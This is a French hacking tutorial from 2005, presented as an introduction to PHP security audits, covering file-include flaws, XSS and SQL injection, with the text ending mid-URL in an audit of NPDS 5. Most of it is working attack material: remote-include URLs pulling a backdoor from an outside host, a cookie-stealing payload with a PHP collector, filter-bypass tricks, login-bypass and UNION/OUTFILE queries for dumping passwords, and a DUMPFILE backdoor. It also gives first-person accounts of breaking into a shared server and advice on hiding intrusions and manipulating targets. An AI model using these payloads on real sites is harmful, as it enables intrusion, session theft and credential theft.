Introduction aux audits de sécurités dans des programmes PHP

Auteurs : Benjilenoob.
Adaptation et corrections par Ashgenesis.
Crédits : Team RedKod http://www.redkod.org/

25 octobre 2005

Table des matières

1 Introduction **4**

2 Introduction à la faille include **4**
2.1 La faille include à distance 4
2.2 La faille include en local 5
2.3 Cas particuliés de la faille include 5
2.3.1 Faille include à distance mal securisée (cas classique) . 6
2.3.2 Faille include en local avec log de l'url 6
2.3.3 Faille include en local sur un site d'informatique . . . 7
2.3.4 Les possibilités de la faille include sur un serveur mal configuré 7
2.4 Corriger la faille include 8

3 Introduction à la faille XSS **8**
3.1 XSS de base 9
3.1.1 Introduction aux failles XSS 9
3.1.2 Quelles sont les possibilités de cette faille 9
3.1.3 Trouver la faille 9
3.1.4 Les filtres 10
3.1.5 Exploiter cette faille 10
3.1.6 Attaquer une cible 11
3.1.7 Une fois l'attaque faite 11
3.2 Les attaques par Webmail (écrit il y a un baille mais en rapport avec les xss) 12
3.2.1 Code HTML dans un champs de texte 12
3.2.2 Code HTML dans la valeur d'un attibut, un script, une adresse URL 12
3.2.3 Attributs `ON` 12
3.2.4 Tromper le filtre 12
3.2.5 Les entités HTML 13
3.2.6 Utiliser l'action du filtre 13
3.2.7 Annuler l'action du filtre 14
3.3 Parades inutiles contres les XSS 14
3.4 Corriger une faille XSS 15

4 Injection SQL **15**
4.1 Les commandes de bases à connaître 15
4.2 Injection SQL de base 18
4.3 La commande `UNION` 19
4.4 Comment voler une bdd avec la commande `OUTFILE` 20
4.5 Backdoorer grâce a une injection SQL avec la commande `DUMPFILE` ou `OUTFILE` 20

4.6 Voler les passwords de la base de données avec la commande LOAD_FILE et OUTFILE 20
4.7 Injection SQL sans quote 21
4.8 Corriger une requête sql 21

5 Etude de certains audits **21**
5.1 NPDS 5 22
5.1.1 la XSS de memberlist.php 22
5.1.2 L'injection SQL de pollBooth.php 22
5.2 ProjectBB v0.4.5.1 23
5.3 PHPNews 1.2.4 24

6 Coder un Proof of Concept **25**

7 L'escape Shell **27**

8 Les failles dans les fopen() **27**

9 Les failles dans les fread() **28**

10 Injection de code PHP grâce à eval() **28**

11 Quelques renseignements utils dans phpinfo() **28**

12 Plus de renseignement sur le safe_mode **29**

13 Conseils pour bien coder **29**

14 Conseils pour auditer un programme **29**

15 Contact **30**

1 Introduction

On m'a demandé d'écrire ce tutoriel pour apprendre à un groupe de personnes comment débuter dans les audits de sécurités informatique. Tout d'abord je tiens à dire que je ne maîtrise pas toutes les failles qui vont être citées. J'ai seulement quelques bases pour faire des audits que je souhaite partager.

2 Introduction à la faille include

Pour commencer, je vais parler de la faille include. Comment elle se présente et comment l'exploiter. Vous avez sûrement lu et relu des milliers d'articles sur cette faille, je vais donc citer des cas particuliers que j'ai eu l'occasion de rencontrer sur certains serveurs et qui pourront sûrement vous donner de nouvelles idées pour exploiter cette faille.

Tout d'abord pourquoi appel-t-on cette faille la faille include ? Eh bien, tout simplement car en php la fonction qui crée cette erreur est la fonction `include()`, on l'utilise comme ceci :

```
1 include($page);
```

Cette fonction sert tout simplement à exécuter le code PHP d'une page à l'intérieur d'une autre page.

Je m'explique, vous avez votre page `login.php` qui a besoin d'une connexion à la base de données et bien il suffit de faire :

```
1 include('config.php')
```

où `config.php` contient le code de connexion pour le faire, ce qui facilite le coding et évite de recopier plusieurs fois la même chose.

Il faut savoir qu'il y a 2 types de failles includes, les failles include en local et à distance. Pour commencer, je vais parler de la faille include à distance la plus connus et la plus facile à exploiter.

2.1 La faille include à distance

Voila un code qui pourrait donner une faille include à distance :

```
1 <? include($page) ?>
```

et si nous avons une url comme ceci :

```
1 http://www.cible.com/index.php?page=home.html
```

alors la fonction include() va inclure le code de la page home.html sur celui de la page index.php, pour détourner ceci il suffit de faire :

```
1 http://www.cible.com/index.php?page=http://
      siteperso.free.fr/backdoor.txt
```

Là, la page index.php inclue le code de notre backdoor ce qui fait que nous pouvons exécuter ce que nous voulons sur www.cible.com. Il existe de nombreuses backdoors sur le net pour la faille include qui vous permettrons de modifier des pages, lire le contenu des fichiers et si le serveur le permet exécuter des commandes system() pour donner un shell.

Voila ce que l'on trouve dans la plupart des tutoriels qui tournent sur le net mais la faille include permet aussi d'autres fonctions dont je vais traiter plus loin. Sachez que si vous avez trouvé un site qui à une faille include à distance vous pouvez vous en servir comme excellent proxy :)

2.2 La faille include en local

Bien maintenant que vous en savez plus sur la fonction include() de PHP, je vais juste donner le code de l'include en local et pourquoi elle ne marche qu'en local :

```
1 <? include("/pages/".$page); ?>
```

Comme vous pouvez le voir, là on inclu seulement les pages qui sont dans le dossier /pages/ toujours de la même façon :

```
1 http://www.cible.com/index.php?page=home.html
```

Ceci inclu la page home.html qui se situe dans le dossier /pages/. Nous sommes donc limités à ce dossier ? Et bien non on peut inclure d'autres pages dans d'autres dossier en remontant le répertoire grace à ../ comme ceci :

```
1 http://www.cible.com/index.php?page=../page2.
      html
```

Là, je pourrais très bien inclure une page à la racine ou ailleurs en modifiant l'url. Apparemment la faille include en local ne donne rien d'extraordinaire, et bien sa dépend des sites web :) Vous pouvez lire le code de chaque pages sur le site, pas la peine de vous gênez, cherchez les htaccess et les htpasswd par exemple.

2.3 Cas particuliés de la faille include

Ici, je ne vais parler que de cas particuliers que j'ai rencontré à droite à gauche sur le net qui mon permis de hacker grâce à la faille include.

2.3.1 Faille include à distance mal securisée (cas classique)

Je visitais un site lorsque je suis tombé sur une erreur comme ceci :

```
No such file or directory in "menu.html"
```

et j'avais une url comme ça

```
http://www.cible.com/index.php?page=menu
```

je pouvais déduire que le code source de l'include était ceci :

```
<? include($page.".html") ?>
```

Souvent les programmeurs pensent que ceci corrige la faille include mais c'est faux, ça complique juste un peu les choses. Pour l'exploiter il me suffisait de mettre l'extension `.html` à ma backdoor et de lancer une url comme ceci :

```
http://www.cible.com/index.php?page=http://
    siteperso.free.fr/backdoor
```

leur code va automatiquement rajouter le `.html` et ma backdoor va s'exécuter :)

2.3.2 Faille include en local avec log de l'url

Voici un cas très particulier qui a servit à des hackeurs de défacer Madchat [1] et ma permis d'apprendre à exploiter une nouvelle sorte d'include. Je tombe sur un site où j'ai une include en local, je me met à chercher un peu des fichiers qui pourrait être intéressant jusqu'à ce que je tombe sur un fichier `ip.txt` ou ils logs les ips et le contenu de la variable `$page` :) Intéressant c'est sur mais que faire avec ? Je cherche un peu sur le net et je tombe sur le paper qui explique comment madchat a été défaced et la c'est la révélation. En effet le fichier contenait des trucs dans le genre :

```
26/07/2005 127.0.0.1 index.html
```

donc si jamais dans la variable `$page` de mon url je mettais

```
<? include($page2) ?>
```

mon code se retrouverait inscrit sur le fichier qui log les ips ! et alors avec l'include en local il me suffit de faire :

```
http://www.cible.com/index.php?page=ip.txt&
    page2=http://siteperso.free.fr/backdoor.html
```

Et là, comme par magie, je peux exécuter ma backdoor.

[1] http ://www.ouah.org/art001.txt

2.3.3 Faille include en local sur un site d'informatique

Un jour où je naviguais sur le net, je tombe sur un site d'informatique. L'admin faisait un article sur les failles et donnais des codes tout fait dans des fichiers `.txt` sur son serveur, je suis sur que vous avez déjà compris le risque de ceci. De plus j'avais une include en local ce qui fait que je pouvais exécuter tout ses codes (dont celui donné pour l'include) tout simplement comme ceci :

```
1 http://www.cible.com/index.php?page=mes_script/
    include.txt
```

Comme quoi faites attention si vous mettez vos codes n'importe comment.

2.3.4 Les possibilités de la faille include sur un serveur mal configuré

Bon je me promène sur le net quand je m'aperçois qu'un site à une faille include. Tout d'abord je la test :

```
1 http://www.victime.com/index.php?p=http://www.
    google.fr
```

On peut voir que la page google est incluse donc il y a bel et bien une faille include. Bon ok je peux maintenant faire comme d'habitude je vais inclure ma backdoor :

```
1 http://www.victime.com/index?http://www.mon-
    site.fr/backdoorTHJ.htm
```

Elle a une fonction qui permet de lister les répertoires qui va me servir pour hacker le serveur. Ensuite, je scan le site avec IntelliTamper [2], il va me donner tout les répertoires qui existe sur le site. Et après, je n'ai plus qu'à en lister un avec ma backdoor pour voir son contenu.

Bon je vais me balader sur son ftp grâce à la backdoor et je suis à la recherche d'un fichier PHP qui contient le passe et le login du ftp (souvent ce fichier se nomme `config.php`). Une fois le fichier trouvé je lis dedans :

```
1 $user= "nom" ;
2 $pass= "pass" ;
```

Voilà le tour est joué j'ai tout ce qui me faut pour passer admin du ftp. Je lance FlashFXP [3]je met le passe et le login et j'ai accès au ftp. Bon la je peux faire ce que je veux mais ce qui m'intéresse c'est de pouvoir hacker le serveur pas seulement le site. Bon je reviens sur le site et inclus de nouveau

[2]http ://www.intellitamper.com
[3]http ://www.flashfxp.com

ma backdoor. Je liste les répertoires et tente de les remonter.

Normalement on ne peut pas aller plus loin que la racine du ftp du site mais là, j'ai de la chance le serveur est très mal configuré je peux même lister ses répertoires. Donc je fais un tour de ses fichiers et malheureusement certains sont bloqués. En cherchant toujours de plus en plus j'arrive à trouver où son contenu les dossiers des autres sites ! Je peux visiter, lire, voir la source de chaque fichiers de chaque dossiers du ftp où son contenu les autres sites hébergés par le serveur. Génial, je n'ai plus qu'à faire une recherche vers les fichiers PHP comme pour le site ayant la faille include et je trouve tous les passes et logins de tous les sites ayant des forums, livres d'or, moteurs de recherches ...

En exploitant une faille include sur un site j'ai pu accéder aux autres sites du serveur à cause d'une mauvaise configuration de ce dernier ! Voilà j'espère que vous avez compris toutes mes explications. Enfin si un jour vous vous faites hacker dites-vous que la faille ne venait peut-être pas de votre site ...

2.4 Corriger la faille include

La meilleure façon pour corriger une include est de gérer toutes les possibilités. Je m'explique, si nous faisons une include en local qui nous épargne des lignes et des lignes de codes, il est toujours possible de ce faire hacker. D'après moi la meilleure solution est de faire un test pour chaques pages de votre site, certes c'est long mais il n'y a pas mieux à vous de voir après.

```
1 if($page == "hack") { include("hack.html") }
2 if($page == "design") { include("design.html")
     }
3 ...
4 else { include("home.html") }
```

3 Introduction à la faille XSS

Bien j'en ai fini avec l'include parlons des failles XSS un peu. Je vous vois déjà venir "ça pu les xss peut rien faire avec", et bien c'est faux croyez moi la faille XSS c'est génial mais faut savoir s'en servir ;)

Tout d'abord c'est quoi une faille XSS ? Elle se crée dans une fonction `echo()` de PHP (ou équivalent) qui affiche la valeurs de certaines variables. Dans une faille XSS, on ne peut pas injecter de PHP seulement du JAVASCRIPT ou HTML (ou un langage équivalent). Pourquoi cela ? Il faut bien

faire la différence entre le coté serveur et le coté client, le code JAVASCRIPT ou HTML s'exécute seulement du coté client contrairement au PHP qui lui s'exécute sur le serveur.

3.1 XSS de base

3.1.1 Introduction aux failles XSS

Les failles XSS sont des failles qui permettent d'exécuter des scripts du coté client. Ceci signifie que vous ne pouvez exécuter que du JAVASCRIPT, HTML et d'autres languages qui ne vont s'exécuter que chez celui qui lance le script et pas sur le serveur directement.

3.1.2 Quelles sont les possibilités de cette faille

Avec la faille XSS on peut donc exécuter du code côté client ce qui veut dire que l'on peut faire apparaître un cookie, mettre des images sur le site (elles ne vont pas rester puisque ça ne s'exécute que du côté client), faire une redirection pour du pishing. Et après, je laisse votre imagination vous donner des idées ...

3.1.3 Trouver la faille

Les XSS sont très répandue sur le net, pour en trouver il suffit de mettre un simple

```
1 <script>alert()</script>
```

mais après il faut réussir à tromper le site cible. Imaginons que sur le site en question nous avons :

```
1 <input type="text" value="<? echo $msg; ?>">
```

donc `http ://www.site.com/index.php?msg=hacktinium` dans la barre d'adresse. alors sur notre page nous allons avoir un code comme ceci dans la source :

```
1 <input type="text" value="hacktinium">
```

Donc réfléchissons un peu ...Si l'on met un simple `<script>alert()</script>` ça ne devrait pas s'exécuter mais ce serait la valeur de notre boite texte. Donc pour changer cela il faudrait faire ceci : `"<script>alert()</script>` et dans la source ça donnerais :

```
1 <input type="text" value=""<script>alert()</
    script>
```

Bingo ça marche ! Donc la bonne url serait :

```
http://www.site.com/index.php?msg="<script>
    alert()</script>}
```

3.1.4 Les filtres

J'ai déjà écris un tutoriel sur comment passer certains filtres mais je vais juste montrer un petit exemple ici pour vous expliquer comment ça marche. Admettons que nous ayons un script PHP comme ceci :

```
<?
  $msg = str_replace("<script>", "", $msg);
  $msg = str_replace("</script>", "", $msg);
  echo "Voila ce que vous avez tape : $msg";
?>
```

Ici si nous mettons `<script>alert()</script>` le site vas nous donner comme message `alert()` car il va enlever tout les `<script>` et `</script>`. Donc comment passer ceci ? Et bien après une bonne réflexion sur le problème, il nous vient que si le site enlève ces bannières alors grâce à elles on va pouvoir exécuter notre code mais comment ?

Tout simplement comme ceci :

```
<scr<script>ipt>alert()</scr</script>ipt>
```

Car une fois les bannières enlevées ça nous donne

```
<script>alert()</script>
```

et miracle ça marche !

3.1.5 Exploiter cette faille

Bon alors, comme nous venons de le voir, les failles XSS s'exécutent du côté client. Donc pour piéger une cible nous devons faire en sorte que l'administrateur du site exécute lui même notre script. Et après, nous devons récupérer son cookie par exemple en exécutant :

```
http://www.site.com/index.php?msg="<script>
    document.location='http://www.votresite.com/
    page_piege?cookie=' + document.cookie</
    script>
```

Là ça va s'exécuter mais après il faut faire un script pour récupérer la valeur de la variable `$cookie`, pour ça le PHP est mieux pour programmer un petit récupérateur de cookies, je pense :

```
1 <?
2 $cokie = $_GET['cookie']; //recupere la valeur
     de la variable $cookie dans l'url
3 mail("Votre adresse mail", "le cookie", $cokie)
     ; // vous l'envoi par email
4 ?>
```

3.1.6 Attaquer une cible

Comme je l'ai dit avant il faut faire exécuter notre url à notre cible. Alors comment faire ? La meilleur solution est le Social Enginering [4], cette technique consiste grâce à la parole à réussir à lui faire faire des choses, et toute sorte de manipulation. Donc ceci dépend de vous, contactez votre cible par son forum si il en a un, utiliser le BBCODE, faites des iFrames, montez un faux site web ...

Mais rappelez vous que vous devez toujours prendre des informations sur votre cible afin de connaître son niveau en informatique pour plus de sécurité, s'il est professionnel ou meilleur que vous alors faites très attention. Il est possible qu'il travail avec plusieurs personnes essayé d'en savoir plus sur ses activités.

3.1.7 Une fois l'attaque faite

Vous venez de récupérer son cookie mais que faire avec ? Ceci est une question que beaucoup de débutants mon déjà posés. Et c'est d'ailleurs à ce moment là qu'il pense que les failles XSS ne permettent rien mais ils se trompent largement. Une fois que vous avez récupérez un cookie vous allez pouvoir le mettre dans votre dossier avec vos cookies et alors après avoir relancez votre navigateur web vous pourrez accéder à la session de la cible.

Mais alors on a fait tout ça pour avoir juste accès à la partie administration de son forum vous allez me dire ? Et bien oui mais les failles XSS ne sont que des failles qui peuvent permettre la facilités à d'autres attaques. Vous n'allez pas pouvoir prendre le r00t grâce à cette faille.

[4] manipulation du webmaster ou de l'administrateur d'un site ou entreprise, manipulation qui à fait ces preuves avec Kevin Mitnick

3.2 Les attaques par Webmail (écrit il y a un baille mais en rapport avec les xss)

3.2.1 Code HTML dans un champs de texte

Pour qu'aucun code HTML ne se glisse dans un champ de type texte on utilise un système qui va convertir le texte en "code d'entité" :
Par exemple < va être converti en &#60 ; ou &lt ; Pour faire une tel conversion il faut mettre dans la source de la page ceci :

```
1 <META http-equiv="Content-Type" content="text/
    html" charset="ISO-8859-1">
```

A cause de ceci nous ne pouvons pas inclure de code pour l'exécuter sur une cible, mais il existe des parades dont je vais parler plus loin.

3.2.2 Code HTML dans la valeur d'un attibut, un script, une adresse URL

Pour afficher un courrier Web dans une page HTML, il faut créer une zone spécial dans la page, après un filtrage de documents hostiles ou non autorisés.

A cause de cela, on ne peut pas utiliser les balises suivantes : <applet>, <embed>, <object>, <bgsound>, <sound>, <frame>, <frameset>, <iframe>. Qui permettent d'intercepter un clic de l'utilisateur sur un bouton de contrôle de sa boite e-mail et de le rediriger vers un faux site imitant le vrai ; quand l'utilisateur saisi son mot de passe le pirate n'a plus qu'à le récupérer et d'insérer du contenu externe indésirable (attention à <script>).

3.2.3 Attributs ON

Ces attributs sont très pratiques car ils permettent de faire exécuter du code dans certaines conditions comme par exemple :

```
1 <img src="invalide" onError="...">
```

qui va exécuter un code automatiquement.

```
1 <b onMouseOver="alert('');")texte</b>
```

exécute le code Javascript quand l'utilisateur passe sa souris par dessus le texte.

3.2.4 Tromper le filtre

Bon chaque navigateur à sa façon d'interpréter un code donc il est possible qu'un code ne marche que sur Internet Explorer et pas sur Netscape. Il

faut aussi compter sur les nouvelles fonctionnalités qui apparaissent de plus en plus et qui contiennent des failles de sécurité.

Exemple de techniques concrètes :
Importer un code JAVASCRIPT dans une feuille de style (Internet explorer) :

```
1 <style type="text/css">
2 @ import url(<a href="http://.../script.js">
     http://.../script.js);
3 </style>
```

Le & : Particulier à Netscape, il permet l'exécution de code javascript dans les attributs.

3.2.5 Les entités HTML

J'en ai parlé avant donc pas besoin de réexpliquer ce que c'est. Maintenant je vais vous expliquer comment le passer. Il est possible d'écrire des entités au format hexadecimal, d'ajouter des 0, d'omettre le point-virgule, etc .... Ceci est un code valide

```
1 <img src="jav&#X41sc&#0010;ript:..">
```

Le signe `>` *de fin de balise inclus dans un attribut* Si je rajoute un attribut dans un champs de texte un code comme : `alert('salut') ;>` Dans un code comme :

```
1 <img src="attribut donne plus haut">lien</a>
```

Ceci va donner dans la source

```
1 <img src="alert('salut');>">lien</a>
```

A cause de cela le navigateur va exécuter ceci :

```
1 <img src=" alert('salut');>
```

donc un code qui peut être hostile. D'ailleurs Yahoo fut victime de cette faille dans l'insertion de `target="_blank"` dans un lien `href` pouvait être contournée avec cette technique.

3.2.6 Utiliser l'action du filtre

Des fois le code subit un encodage particulier et il est possible de s'en servir pour tromper le filtre. Prenons un filtre qui va enlever les balises `<script>` ce qui à priori empêche l'exécution d'un script quelconque. Mais si je met ceci dans le champs de texte :

```
<scr<script>ipt Language=jav<script>ascri<
    script>pt1.1>
```

quand le filtre va passer sur mon code il va enlever toutes les balises `<script>` ce qui me donne :

```
<script language=javascript1.1>
```

et je peux exécuter mon code !

3.2.7 Annuler l'action du filtre

Il est possible grâce à ceci `->` de fermer des commentaires introduit par le filtre. Si celui-ci ignore ce qui est placé en commentaire il est possible de faire exécuter du code malveillant.

3.3 Parades inutiles contres les XSS

Je vais parler du cas du `textarea` car j'entends souvent dire sur le net par des noobs qu'avec on peut ce protéger d'une xss mais c'est faux y'a un moyen de contourner (comme toujours).

Bien alors partons du faite que vous avez trouvé un livre d'or qui met tout les messages que vous tapez dans un `textarea` on peut imaginer que tout ce que vous postez est d'abord mis sur un fichier texte qui est inclus sur la page :

```
<textarea><? include("texte.txt"); ?> </
    textarea>
```

on trouverais dans le code source de la page :

```
<textarea>Salut je m'appelle Benji etc ...</
    textarea>
```

Mais nous, on cherche à détourner le filtre pour exécuter ce que nous voulons :), refléchissons un peu comment faire en sorte de contourner le textarea qui bloque l'exécution du javascript ? et bien toute bêtement en envoyant

```
</textarea><script>alert("xss")</script>
```

et la alors le code de la page du livre d'or deviendrai :

```
<textarea>Salut je m'appelle Benji etc ... </
    textarea><script>alert("xss")</script></
    textarea>
```

et la bingo notre code marche !

Maintenant si vous voulez camoufler un peu comment vous avez fait lors d'un hack je conseil de mettre :

```
1 </textarea><script>alert("xss")</script><
    textarea>
```

comme ça d'autres personnes pourront toujours poster et un webmasteur qui connaît peu en informatique trouvera moins facilement comment vous l'avez eu.

3.4 Corriger une faille XSS

Ce n'est pas très compliqué, il existe une fonction en php : `htmlentities()` qui transforme tout les `<>[]&$ù` en entité HTML donc plus moyen d'exécuter quoi que ce soit.

4 Injection SQL

Bien, pour commencer je vais faire une petite introduction au sql, y'en a sûrement besoin pour certains lecteurs et puis je veux faire ce tutoriel le plus complet possible, ensuite nous étudierons une injection sql toute bête, je vous montrerais comment backdoorer grâce à une injection sql et d'autres choses sympathiques.

4.1 Les commandes de bases à connaître

Explorer la Database : Bon voici une commande de base afin de voir la Database : `SHOW DATABASE ;` Ceci va vous montrer toutes les bases de données existantes sur votre ordinateur.

Créer une Database : Voici la commande qui permet de créer une Database : `CREATE DATABASE [database-name] ;` Par exemple si je voulais créer la database "hacking" je taperai `CREATE DATABASE hacking ;`

Voir les Databases : Maintenant imaginons que vous avez créé plein de databases et que vous ne vous souvenez pas du nom de toutes celles-ci, dans ce cas là une commande existe : `CREATE DATABASE IF NO EXISTS database-name ;`

Effacer une Database : Voici un exemple `DROP DATABASE hacking ;` Dans ce cas là, j'efface la database "hacking", facile non ? Maintenant si je veux effacer une database parmi toutes celle que j'ai mais je ne suis pas sur de son nom je n'ai cas mettre : `DROP DATABASE IF EXISTS database-name ;`

Lancer des Scripts SQL sous MySQL : Pour lancer des scripts SQL automatiquement rien de plus facile il vous suffit de créer un fichier `.sql` avec toutes les informations nécessaire dedans. Je vous conseil de mettre tous ces fichiers dans le dossier

```
c:\sql
```

Afin de mettre des commentaire dans un fichier sql il vous suffit d'insérer les caractères suivant : `#, -,/*, */`

Donc je n'ai cas créer un fichier `create-db.sql` contenant :

```
SHOW DATABASES ;
/* ceci montre toutes les databases */
CREATE DATABASE redkod;
SHOW DATABASES;
```

Pour le lancer il me suffit de faire ceci dans le moniteur MySQL :

```
c:\sql\create-db.sql
```

Et voilà rien de compliqué !

Explorer une Database : Pour explorer une database il faut utiliser la commande suivante : `USE DATABASE database-name ;`

Une fois la database prise en charge, il faut sélectionner les tables dedans : `SHOW TABLES ;` Si vous voulez plus d'explication sur une table il faut faire ceci : `EXPLAIN table-name ;`

Créer une Table : Rien de plus facile que de créer une table sql : `CREATE TABLE table-name ;` Bon je pense que vous commencez à comprendre le fonctionnement du language SQL, maintenant pour créer une table dont nous ne savons pas si elle existe déjà ça donne : `CREATE TABLE IF NOT EXISTE table-name ;`

Effacer une Table : Toujours pareil il suffit de faire : `DROP TABLE table-name ;` Ou encore : `DROP TABLE IF EXISTS table-name ;`

Sélection de Table ou de Database : Si vous voulez sélectionner tout ce qui il y a dans une Table ou une Database il suffit de faire ceci par exemple :

```
SELECT * FROM table-name;
SELECT column-name FROM table-name;
SELECT column, column, column FROM table-
    name;
```

Mais on peut aussi il ajouter le mot clé `WHERE` qui est très pratique :

```
SELECT * FROM table-name WHERE column =
    value;
```

Il existe aussi la commande ORDER BY qui détermine par ordre alphabétique ou numérique la table :

```
SELECT * FROM table-name ORDER BY column-
    name;
```

On peut aussi combiner plusieurs commande pour obtenir l'effet voulue comme ceci :

```
SELECT * FROM table-name WHERE column-name
    = value AND column-name = value;
```

Il est aussi possible de faire la commande IN :

```
SELECT * FROM table-name WHERE column-name
    IN (value, value, value) AND column-name
     NOT IN (value, value, value);
```

Mais aussi il y a la commande LIKE :

```
SELECT * FROM table-name WHERE column-name
    LIKE search-pattern;
```

Ne surtout pas oublier la commande AS :

```
SELECT table-name-1 AS col1, column-name-2
    AS col2 FROM table-name;
```

Pour continuer dans la lancé je vais aussi vous montrez la commande GROUP BY :

```
SELECT * FROM table-name GROUP BY column-
    name;
```

Et pour finir il existe aussi la commande HAVING :

```
SELECT * FROM table-name GROUP BY column-
    name HAVING expression;}
```

La commande UPDATE : Cette commande permet d'updater les données dans la database. On l'emploi comme ceci :

```
UPDATE table-name SET column-name = value ;
UPDATE table-name SET column-name = value,
    colomn-name = value WHERE column = value
    ;
```

La commande `INSERT INTO` **:** Cette commande permet d'insérer dans la database des données :

```
1 INSERT INTO table-name VALUES (value, value
     , value) ;
2 INSERT INTO table-name (column, column,
     column) VALUES (value, value, value);
3 INSERT INTO destination-table-name (column,
      column, column) SELECT * FROM source-
     table-name;
```

Bon voilà la fin de l'introduction si vous souhaitez en savoir plus sur le langage SQL je vous conseille de vous acheter un bon livre car il n'y a rien de mieux qu'un bon bloque de feuille avec toutes les commandes écrites noir sur blanc à mon avis.

4.2 Injection SQL de base

Maintenant que vous en savez plus sur le langage sql abordons les failles qui tourne autour du SQL. Ces failles ne sont pas des failles SQL proprement dit c'est à dire que ce n'est pas a cause d'une erreur de programmation sql qu'il y a une faille mais encore une fois à cause du PHP. En effet souvent des programmeurs oublient de corriger les variables qu'ils utilisent dans leur requêtes SQL ce qui nous permet de détourner la requête pour exécuter ce que nous souhaitons.

Pour commencer voici un petit code faillible :

```
1 <?
2 $login = $_GET['login']; // login et password
     recuperer grace a la methode get.
3 $password = $_GET['password'];
4 ...
5 $req = "SELECT login, password FROM user_bdd
     WHERE login='".$login."' AND password='".
     $password."'";
6 ...
7 ?>
```

Bien pourquoi ce code est-il faillible ? Normalement un utilisateur normal taperais son login et mot de passe ce qui nous donnerai une url comme ça :

```
1 http://www.cible.com/login.php?login=benji&
     password=pass
```

et dans notre code php la requête serait ceci :

```
$req = "SELECT login, password FROM user_bdd
    WHERE login='benji' AND password='pass'";
```

Donc le programme regarderais, si il existe dans la base de donnée, quelqu'un avec un login `benji` et un password `pass`. Mais maintenant, si, dans la variable login nous insérions un code hostile comme ceci :

```
http://www.cible.com/login.php?login=admin' OR
    1=1 #&pass=pass
```

Notre requête deviendrai alors :

```
$req = "SELECT login, password FROM user_bdd
    WHERE login='admin' OR 1=1 #' AND password='
    pass'";
```

et nous serions loggés en administrateur ! Pourquoi cela ? Et bien c'est assez simple on sait que `#` est un caractère qui gère les commentaires ce qui veut dire que tous ce qui va être écrit après lui sera pris comme un commentaire soit dans notre cas `' AND password='pass'` donc comme ceci on contournera la vérification du password :]

Donc à présent notre requête ne cherche plus le login et le password correspondant dans la base de données mais seulement le login ce qui fait que nous pouvons nous logger en qui nous voulons dans mon cas c'est l'admin.

4.3 La commande `UNION`

Pourquoi faire tout un chapitre sur la commande union ? Et bien cette commande permet de lancer plusieurs requêtes ce qui est très pratique dans les injections SQL. Tout d'abord il faut savoir que dans une requête si l'on utilise `UNION` il faut que le nombre de champs soit identique et que ça soit le même type de requête, un petit exemple s'impose :

```
SELECT irc, msn FROM user
```

Maintenant nous voyons que cette requête à 2 champs irc et msn si nous voulons faire un `UNION` il faut impérativement que la commande qui suit après soit une commande `SELECT` et qu'elle est 2 champs aussi par exemple :

```
SELECT irc, msn FROM user UNION SELECT login,
    pass FROM user
```

Dans certains cas, des commandes `SELECT` utilisent 10 champs et vous ne voulez faire apparaître que le password et le login pour remplacer les 8 champs qui reste vous pouvez utiliser des 0 à la place :

```
1 SELECT msn, irc, jabber, site, nom, prenom, id,
      sid, uid, ville FROM user UNION SELECT
     login, pass,0,0,0,0,0,0,0,0 FROM user
```

est une commande valide et clair. Il est important de savoir que l'on ne peut pas faire un UNION après un ORDER BY!!!

4.4 Comment voler une bdd avec la commande OUTFILE

Dans cette section, je vais vous expliquer comment voler une base de données facilement avec la commande OUTFILE de SQL. Cette commande permet d'exporter tout le contenu d'une table dans un fichier sur le ftp, par exemple :

```
1 SELECT * FROM users INTO OUTFILE 'path/axx.txt
     ';
```

Là, j'exporte tout le contenu de la table users dans un fichier axx.txt

Donc pour voler une base de données il suffit d'avoir une injection SQL dans une commande SELECT puis de faire un UNION :

```
1 SELECT msn, irc FROM users WHERE login='benji'
     OR 1=1 UNION SELECT pass, login FROM users
     INTO OUTFILE 'path/pass.txt' #'
```

Tout simplement :)

4.5 Backdoorer grâce a une injection SQL avec la commande DUMPFILE ou OUTFILE

La commande DUMPFILE permet aussi d'exporter une table dans un fichier mais seulement une ligne (ce qui est dans certain cas plus pratique), ces deux commandes fonctionnent dans une requête SELECT (vu précédemment). Mais là, ce que nous voulons c'est réussir à poser une backdoor sur un site web grâce à cela et bien tout simplement comme ceci :

```
1 SELECT '<? include($page); ?>' INTO DUMPFILE '
     path/backdoor.php'
```

Et voilà, il nous suffit de faire ça avec un UNION et c'est dans la boite.

4.6 Voler les passwords de la base de données avec la commande LOAD_FILE et OUTFILE

Maintenant que vous savez comment marche OUTFILE, abordons une nouvelle commande LOAD_FILE qui permet de lire un fichier et retourner le

resultat. Maintenant, si nous associons ça avec une commande OUTFILE on pourrait très bien lire la source de n'importe quel fichier sur le ftp ! (d'après Frogman même /etc/htpasswd mais je n'ai jamais essayé), par exemple :

```
1 SELECT LOAD_FILE('path/config.php') FROM
     existant_table INTO OUTFILE 'path/config.txt
     '
```

Admirez les passwords de la base de données :)

4.7 Injection SQL sans quote

Tout d'abord qu'est ce qu'un quote ? Et bien tout simplement ', dans toutes les requêtes que j'ai montrées dans le tutoriel pour injecter on utilisait toujours une variable non filtrée qui correspondait à du texte par exemple 'benji', mais si jamais on faisait une commande avec comme recherche un id, alors notre variable devrait avoir comme valeur un digit soit 1234567890 et alors dans notre requête pas besoin de mettre des quotes (php n'a pas de problèmes) ce qui donnerait une requête comme ceci :

```
1 SELECT login, irc FROM user WHERE id=1
```

et une url comme ça :

```
1 http://www.cible.com/index.php?id=1
```

donc pour hacker, il nous suffit tout simplement de faire :

```
1 http://www.cible.com/index.php?id=1 UNION
     SELECT login, pass FROM user INTO OUTFILE '
     path/axx.txt'
```

4.8 Corriger une requête sql

Pour corriger votre requête sql, pensez à bien filtrer chaque variable que vous utilisez, si c'est du texte alors pensez à lui appliquer addslashes() une fonction php qui transforme ' en

```
1 \'
```

et si c'est du digit alors is_numeric() fait l'affaire.

5 Etude de certains audits

Maintenant que vous en savez plus sur les failles ètudions certains audits que j'ai fait pour vous montrer comment on peut trouver des failles dans un programme.

5.1 NPDS 5

Dans ce chapitre, je vais présenter un programme que j'ai eu l'occasion d'auditer NPDS 5, je vais montrer une XSS et une injection SQL seulement mais vous pouvez retrouver l'audit complet sur securitytracker [5]

5.1.1 la XSS de memberlist.php

J'ai trouvé pas mal de failles dans ce programme, alors je ne vais juste en citer que quelques unes pour vous montrer.

Sur la page memberlist.php on trouve un code comme ceci :

```
1 echo "<A HREF=\"memberslist.php?letter=$ltr&amp
     ;sortby=$sortby&amp;list=$list\" CLASS=\"
     NOIR\">$ltr</a>";
```

Là, on voit bien des variables dans une url qui vont être affichées sur une page grâce à echo(). Prennons $sortby par exemple, si jamais la valeur de $sortby était

```
1 "<script>alert()</script>
```

alors on voit bien que je pourrais exécuter du code javascript. Je test dans l'url :

```
1 http://[target]/narval/memberslist.php?letter=&
